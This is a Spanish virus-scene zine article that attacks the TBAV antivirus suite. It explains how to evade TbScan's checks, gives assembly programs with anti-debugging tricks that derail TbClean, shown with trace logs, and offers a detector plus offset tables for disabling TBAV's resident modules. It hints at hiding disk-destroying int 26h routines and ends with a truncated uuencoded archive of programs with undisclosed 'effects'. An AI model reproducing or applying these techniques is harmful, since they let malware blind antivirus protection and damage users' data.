From: Hector Barca Subj: Un repaso al TBAV Ŀ Un repaso al TBAV Pues s, sigue mi ofensiva antiTBAV, pero esta vez con un informe. Vamos a dejarlo en pelota picada; empezando por el TbScan, al que ya le meti un buen toque ***** ;-) siguiendo por el TbClean y acabando con los re- sidentes, esos programas que te defienden ante ms de 3000 virus y fa- llan con no ms de cinco. S, s, sos. TbScan: truquitos sucios Poco se puede aadir al toque de atencin que le meti ***** :) Eso s, siempre hay algunos detallitos que cuidar... nos confesaba la propia ra- ta que Frans haba usado una buena cantidad de trucos, como dice l, '_sucios_'. Pues por una vez en su vida tena razn. El primer agujero est en que no escanea los ficheros pequeitos. Es de- cir, que puedes masacrar a un fulano con alguno de los Trivial y pasar totalmente inadvertido... pero esto nos daba alas para empresas mayores, ya que bastaba con interceptar la funcin de findfirst del TbScan (usan- do los valores que tiene en ese momento en los registros) y cambiar el tamao del fichero en la DTA o por medio de su SFT correspondiente, po- nindolo a cero. Se v que Frans espabil por una vez en la vida y decidi no hacer *nin- gn* acceso a la int 21h durante el escaneo (salvo cuando encuentra al- gn virus; entonces usa la 42h, 3fh...). La alternativa est en la fun- cin 2 de la int 13h -lectura del sector- ;-) Otro truquito sucio es el del sanity check. El TbScan no usa un sistema de autochequeo propio, sino que comprueba el tamao de su segmento en memoria. As, si est infectado por algn virus, la cantidad de memoria reservada ser mayor, por lo que notar el aumento y 'cantar'. Solucin? reducimos del puntero de maxmem (0ch) el tamao de nuestro virus en prrafos... y voil, el TbScan es infectable, y nos hemos pasa- do su sanity check por el escroto }:-) Como vis, el Veldman se quiso pasar de listo con ciertos truquitos, pe- ro le ha salido el tiro por la culata. Lo dejo aqu, porque en cuanto a chominaditas antiheursticas ya sabis que hay a patadas en todas las revistas underground, y que a base de ac- cesos a pila, usos del queue y dems tonteras pasamos inadvertidos. TbClean: horas de diversin sta es la parte ms entretenida del informe y con la que ms he disfru- tado. Nos creemos que conocemos la vulnerabilidad del TbClean, pero os aseguro que no conocemos ni la dcima parte. Queris empezar a escojonaros de risa? mirad el vector de la memoria de vdeo, y haced un fichern de cinco bytes (0eah xx xx xx xx) que salte a esa direccin. Ejecutad el TbClean, y veris cmo se eterniza traceando y cmo, increblemente, encuentra datos suficientes para desinfectar el virus... eso s, no os olvidis de mirar su longitud, que suele rondar los 60Kb X-D Os juro que casi me muero de risa vindolo tracear la memoria de vdeo, es criminal X-D En mi caso, del fichero de cinco bytes (ea f0 00 46 72) sac un COM de 56k =:-O Vosotros mismos... - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 CS:IP Instruction AX BX CX DX DS SI ES DI SS SP BP Flags 2953:0100 jmp 7246:F000 0000000000FF2953295301002953FFFE2953FFFE00003387 7246:F000 cmp ax,573D 0000000000FF2953295301002953FFFE2953FFFE00003387 7246:F003 dec cx 0000000000FF2953295301002953FFFE2953FFFE00003397 7246:F004 and ax,152C 0000000000FE2953295301002953FFFE2953FFFE00003303 7246:F007 adc ax,4F4F 0000000000FE2953295301002953FFFE2953FFFE00003346 7246:F00A dec di 4F4F000000FE2953295301002953FFFE2953FFFE00003302 7246:F00B dec di 4F4F000000FE2953295301002953FFFD2953FFFE00003382 7246:F00C dec di 4F4F000000FE2953295301002953FFFC2953FFFE00003386 7246:F00D dec di 4F4F000000FE2953295301002953FFFB2953FFFE00003382 7246:F00E dec di 4F4F000000FE2953295301002953FFFA2953FFFE00003386 7246:F00F dec di 4F4F000000FE2953295301002953FFF92953FFFE00003386 7246:F010 dec di 4F4F000000FE2953295301002953FFF82953FFFE00003382 7246:F011 pop bp 4F4F000000FE2953295301002953FFF72953FFFE00003382 7246:F012 dec di 4F4F000000FE2953295301002953FFF72953000000003382 7246:F013 dec di 4F4F000000FE2953295301002953FFF62953000000003386 7246:F014 dec di 4F4F000000FE2953295301002953FFF52953000000003386 7246:F015 dec di 4F4F000000FE2953295301002953FFF42953000000003382 7246:F016 dec di 4F4F000000FE2953295301002953FFF32953000000003386 7246:F017 adc ax,2515 4F4F000000FE2953295301002953FFF22953000000003382 7246:F01A and ax,152C 7464000000FE2953295301002953FFF22953000000003312 7246:F01D adc ax,2525 1424000000FE2953295301002953FFF22953000000003306 7246:F020 adc ax,152C 3949000000FE2953295301002953FFF22953000000003302 7246:F023 sub al,25 4E75000000FE2953295301002953FFF22953000000003312 7246:F025 sub al,15 4E50000000FE2953295301002953FFF22953000000003306 7246:F027 dec di 4E3B000000FE2953295301002953FFF22953000000003312 7246:F028 dec di 4E3B000000FE2953295301002953FFF12953000000003382 7246:F029 pop bp 4E3B000000FE2953295301002953FFF02953000000003386 [...Traceos, traceos, traceos...] DCC5:14B5 <- Fijaros dnde acaba 8-O - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Sin comentarios, eh? Ahora os voy a poner un poco cdigo. Cdigo para hacer que se le suban los colores a cualquier usuario registrado del TBAV. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; Este primer programa se encarga de comprobar que lo estn debuggeando. ; En caso afirmativo ejecuta una rutina que tan slo se activa bajo es- ; tas circunstancias (cuando lo tracean). Es decir, que se ejecuta de ; forma totalmente normal, pero si algn programa tracea su cdigo eje- ; cuta una especie de 'rutina escondida'. Ojo al parche: code segment byte public assume cs:code,ds:code org 100h start: mov byte ptr ciao_bambino+1,1 ; mov ax,1 -> slo si ciao_bambino: mov ax,0 ; se est ejecutando cmp ax,1 ; con un debugger je tbclean jmp go_away ; Nos remos y salimos tbclean: cli ; Ahora comprobamos la mov ax,1234h ; pila. Si nos estn push ax ; traceando, la pila pop ax ; no es la misma dec sp dec sp pop bx sti cmp bx,ax jne fewl_me_baby ; Jojojojojo... }:-) go_away: mov ah,9 ; Enseamos el mensa- mov dx,offset greetz ; jito y nos vamos int 21h int 20h fewl_me_baby: mov word ptr [100h],06c6h ; sta es la rutina es- mov bx,100h ; condida que slo se ac- jmp bx ; tiva al ser debuggeado greetz: db 'Uy, Rafa, qu seguro ests :)',13,10,'$' code ends end start ; Como vis este programita simplemente comprueba si est siendo tracea- ; do, y, en caso afirmativo, ejecuta una rutina que bajo condiciones ; normales no se ejecuta. Aqu simplemente emulo la reconstruccin del ; host por parte de un virus, reconstruyendo los mismos bytes que ya te- ; nemos en la cabecera. Por supuesto, en lugar de esto podramos inclur ; alguna rutina desvirgadiscos, o lo primero que se nos ocurriese }:-) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Bien, fijaros lo que hace el TbClean con este simple ficherito de 81 by- tes (de cdigo real, bastantes menos): - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 CS:IP Instruction AX BX CX DX DS SI ES DI SS SP BP Flags 2953:0100 mov [0106],01 0000000000FF2953295301002953FFFE2953FFFE00003387 2953:0105 mov ax,0001 0000000000FF2953295301002953FFFE2953FFFE00003387 2953:0108 cmp ax,0001 0001000000FF2953295301002953FFFE2953FFFE00003387 2953:010B jz 010F 0001000000FF2953295301002953FFFE2953FFFE00003346 2953:010F cli 0001000000FF2953295301002953FFFE2953FFFE00003346 2953:0110 mov ax,1234 0001000000FF2953295301002953FFFE2953FFFE00003146 2953:0113 push ax 1234000000FF2953295301002953FFFE2953FFFE00003146 2953:0114 pop ax 1234000000FF2953295301002953FFFE2953FFFC00003146 2953:0115 dec sp 1234000000FF2953295301002953FFFE2953FFFE00003146 2953:0116 dec sp 1234000000FF2953295301002953FFFE2953FFFD00003182 2953:0117 pop bx 1234000000FF2953295301002953FFFE2953FFFC00003186 2953:0118 sti 1234313100FF2953295301002953FFFE2953FFFE00003186 2953:0119 cmp bx,ax 1234313100FF2953295301002953FFFE2953FFFE00003386 2953:011B jnz 0126 1234313100FF2953295301002953FFFE2953FFFE00003312 2953:0126 mov [0100],6C6 1234313100FF2953295301002953FFFE2953FFFE00003312 2953:012C mov bx,0100 1234313100FF2953295301002953FFFE2953FFFE00003312 2953:012F jmp bx 1234010000FF2953295301002953FFFE2953FFFE00003312 2953:0100 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Rutinita perfectamente ejecutada, y se cree que es un virus :) Ya os di- go, el primero que tenga mala idea puede tirar de int 26h y... en fin :) Pero pongamos por caso que de verdad tenemos un virus y tratamos de que el TbClean no sea capaz de desinfectarlo. Qu hacemos? pues usamos una de las antidebugging ms sencillitas (la ms sencilla es la que usa el Dummy, pero no es cuestin de repetirse :) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; Este programa es lo que podra considerarse el inicio de un virus. Con ; esta rutina implementada en nuestras creaciones, el TbClean no ser ; capaz de llegar a tracear el cdigo del virus. code segment byte public assume cs:code,ds:code org 100h start: mov ax,20cdh ; Una int 20h en AX mov word ptr ciao_bambino,ax ; La ponemos en la ciao_bambino: nop ; siguiente instruccin nop mov ah,9 ; Y esto es el 'cdigo mov dx,offset greetz ; vrico' :-P int 21h int 20h greetz: db 'Uy, Rafa, qu seguro ests :)',13,10,'$' code ends end start ; Si os dis cuenta, lo nico que hacemos es jugar con el queue y modi- ; ficar instrucciones on the fly. Estas modificaciones no surten efecto ; si ejecutamos el programa normalmente, pero con un debugger (TbClean) ; son ms efectivas que el copn. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Veamos cmo lo tracea el TbClean... - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 CS:IP Instruction AX BX CX DX DS SI ES DI SS SP BP Flags 2953:0100 mov ax,20CD 0000000000FF2953295301002953FFFE2953FFFE00003387 2953:0103 mov [0106],ax 20CD000000FF2953295301002953FFFE2953FFFE00003387 2953:0106 int 20 20CD000000FF2953295301002953FFFE2953FFFE00003387 2953:0106 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Y ah se acaba la ejecucin... por su parte, claro. En una ejecucin sin debugger llegaramos ms abajo, en donde podramos tener virus como el Zhengxi, el Hemlock, el V.6000, Neuroquila... Pues ya vis, imaginacin al poder. Tenemos infinitas formas de chulear- nos el TbClean... sin llegar siquiera al cdigo vrico }:-) Residentes: vase tambin papel de fumar No necesita ms comentarios, no? de todas formas, ya sabis que an hay un 'maestre' que dice que est protegido ante ms de 3000 virus, y que no ms de cinco virus son capaces de buscarle las cosquillas (por cier- to, y los 4995 virus restantes?). Bien, de esto ya habl un poco en el frum, pero es ms que nada para rellenar el asunto y tenerlo todo juntito :) Otro de los trucos sucios que emplea Veldman es el de chequear la pre- sencia de sus residentes en memoria haciendo simples aperturas de han- dles, ya que stos (los residentes, no los handles Q:-)) se enganchan a la cadena de device drivers, rellenando el puntero de 0ah (el nombre del driver, qword) con su nombre (TBDRVXXX, TBFILXXX, TBDSKXXX, TBMEMXXX, TBCHKXXX y TBLOGXXX). Segn vamos abriendo los handles podemos ir sa- biendo si estos devices existen o no existen. Este programita es ms pequeo que el TbMon, el mdulo del TBAV encarga- do de hacer la misma tarea. Son 50 bytes de cdigo... :) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 code segment byte public assume cs:code,ds:code org 100h start: mov ah,9 ; Bueno, el programa mov dx,offset mensaje_1 ; ste es lo suficiente- int 21h ; mente simple como para ; no hacerme que os lo mov cx,6 ; comente, no? :-) mov dx,offset tbdrvxxx detect_loop: mov ah,9 int 21h mov ax,3d00h add dx,9 int 21h push dx mov dx,offset not_resident jc dont_add add dx,resident-not_resident mov bh,3eh xchg ax,bx int 21h dont_add: mov ah,9 int 21h pop dx add dx,9 loop detect_loop int 20h mensaje_1 db 'Detector de los residentes del TBAV' db 0dh,0ah,0dh,0ah,'$' tbdrvxxx db 'TbDriver$' db 'TBDRVXXX',0 tbfilxxx db 'TbFile$',0,0 db 'TBFILXXX',0 tbdskxxx db 'TbDisk$',0,0 db 'TBDSKXXX',0 tbmemxxx db 'TbMem$',0,0,0 db 'TBMEMXXX',0 tbchkxxx db 'TbCheck$',0 db 'TBCHKXXX',0 tblogxxx db 'TbLog$',0,0,0 db 'TBLOGXXX',0 not_resident db ' -> fuera de combate',0dh,0ah,'$' resident db ' -> residente, aunque como si no lo estuviera :)' db 0dh,0ah,'$' code ends end start - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Bien, bien, bien, agujero descubierto, pero esto no nos interesa en ab- soluto; a nosotros lo que nos interesa es desactivarlos, no? Frente al mtodo convencional (tambin llamado RJL ;-DD) nos encontramos con uno ms 'sutil', que es acceder directamente a la IVT, apuntar con SI al vector de la int que enganche el residente correspondiente, y com- parar la palabra que hay all con la palabra que hay cuando el residente est en memoria. Si coincide, entonces tenemos que pasar a desactivarlo. Cada residente tiene una especie de byte de 'semforo' (on/off). Esto se puede ver muy fcilmente traceando el TbMonitor, que es el programa que ofrece al u- suario la posibilidad de activar o desactivar los mdulos residentes. Si es que nos las ponen a huevo, coo :-))) Bueno, antes de nada tenemos que saber qu hace cada uno y qu ints in- tercepta: - TbDriver: int 20h, 21h, 27h, 29h, 2fh -> especie de kernel - TbScanX : int 13h, 2fh -> escanea los programas que se ejecutan - TbMem : int 9, 2fh -> evita que los programas se queden residentes - TbLog : int 2fh -> genera un log con todas las alarmas - TbCheck : ninguna int -> comprobador por CRC - TbFile : ninguna int -> controla accesos a ficheros - TbDisk : int 13h, 15h, 26h, 2fh, 40h -> evita escrituras a disco Estrategia de cara a desactivarlos: 1. Comprobar por el mtodo que ms nos guste cul est residente y cul no. Esto es lo ms importante. 2. En funcin de los que estn residentes o los que no, debido a que hay coincidencias, tendremos que seguir un orden de cara a desactivarlos. Es decir, tendremos que buscar en la int 2fh, por poner un ejemplo, el cdigo del TbScanX. Si no lo encontramos, buscamos el del TbMem, y si tampoco aparece, el del TbDisk. En funcin de todo esto iremos de- sactivando uno u otro. 3. Esto es importante... el TbCheck y el TbFile son desactivables usando la int 21h. Ahora simplemente os pongo un esqueleto 'universal' y las cadenas de c- digo que necesitamos para averiguar si tal o tal programa est residente en memoria: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 [...cdigo...] look4them: push ds ; Guardamos DS xor ax,ax mov ds,ax ; Apuntamos a la IVT con DS lds si,ds:[int*4] ; SI -> vector de la int cmp [si],valor ; Est residente? jne not_resident [...desactivacin...] ; Lo desactivamos not_resident: pop ds ; Recuperamos DS [...ms cdigo...] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 * int = interrupcin correspondiente * valor = palabra que tiene el mdulo correspondiente en esa int Deteccin Ŀ Residente Interrupciones Valor/int Offset Ĵ TbDriver 20h, 21h, 27h, 29h, 2fh 2e53h/29h [si] TbScanX 13h, 2fh 2e9ch/13h [si] TbMem 9, 2fh 3d9ch/21h [si] TbLog 2fh fd3dh/2fh [si] TbCheck - 3d9ch/21h [si+75h] TbFile - 2e9ch/21h [si+75h] TbDisk 13h, 15h, 26h, 2fh, 40h 2e9ch/26h [si] Desactivacin Ŀ Residente Interrupciones On/off Offset Ĵ TbDriver 20h, 21h, 27h, 29h, 2fh ---/--- --------- TbScanX 13h, 2fh 00h/19h [si-12ch] TbMem 9, 2fh 28h/29h [si-253h] TbLog 2fh 00h/01h [si-a2h] TbCheck - 00h/01h [si-69h] TbFile - 00h/01h [si-c5h] TbDisk 13h, 15h, 26h, 2fh, 40h 00h/01h [si-bah] Qu quieren decir estas tablas? bueno, os pongo un ejemplo. Para buscar el TbScanX en memoria tendramos que apuntar con SI al vector de la int 13h, y comparar la palabra que hay all con 2e9ch. Para el TbCheck, por ejemplo, pues lo mismo. Apuntamos con SI al vector de la int 21h+75h by- tes y comparamos la palabra que hay all con 3d9ch. Segn la segunda tabla, para desactivar el TbDisk, por ejemplo, tendra- mos que hacer un mov byte ptr [si-bah],01h. Y para activarlo, pues lo mismo, pero cambiando el valor por 0. Como vis, esto es muy facilito, y nos abre mil puertas de cara a tocar- le las pelotas a los lamerz (lase ratas) que se sienten tan seguros. O- jos que no ven, corazn que no siente... pero el HD s que lo siente... };-) Para acabar y para que no os quedis de brazos cruzados, os incito a que probis estos programitas con el TbClean... son los de arriba. Aunque... bueno, les he includo unos cambios para que os gusten ms :) Ejecutadlos desde el DOS y desde el TbClean para notar la diferencia; y, por cierto, esos cambios que les he includo son unos efectos bastante chulos... os dejo con ellos: section 1 of uuencode 5.22 of file a-tbav.zip by R.E.M. begin 644 a-tbav.zip M4$L#!`H``````#:NVB!;1H"(C0```(T````*````2$E$1$5.+D-/3<8&!@$! MN```/0$`=`/I#@#ZN#024%A,3%O[.<-U/+0)NF4!S2&ZR`,SP.Y"L#_N[NZY M/@!*AL3N0H;$[N[N_LCH`P#B[\-04OJZV@/LJ`AU^^RH"'3[^UI8P\<&``'& M!KL``?_C4Z$L('.A+"!2869A+"!E;"!40D%6(&5S(&5X8V5L96YT92`Z*0T* M)%!+`P04``(`"`"ZKMH@\KES.7@```!^````#````%-#4D577TU%+D-/3=MQ M5F$Q&^.$"2\8&"!HUQ7F#9SOG-YT/5!YP,/X+F`+YZXHQK.*$1#QKC,-#^6- MWG8=`4DZO>!@>,'*\.[?@4=?@P)VW6)^LX*C]#>0*/D=$778.6-Q06)N:DZB M0NZ"8H6B!069*?DZ"D&):8D*%KHIZNKJO%PJ`%!+`P04``(`"``!L-H@H'WA M'2,!``#7`0``#````$Q%14U%7T-/+J5/(660P4[#,`R&[Y7Z#GZ`;AH<.,!Q MJP02`P1(')&;F,Y5DPPGF<3;3!,/BK.Q`:*J5#?.__OS?XM``YEL>.?!!W$X M@B6@F$*$M81>T&$$RV],0J4U_E9T.`0][/*DKOJ>9`KM"&9GN0^'NQ$D)_;Z M?<\$D0[:A*7K@@W'F3ZSE;K!V>QBU0"[-5M=5&-0II+:SXJ'U36Y;?Q.>3_R$= M(P$``-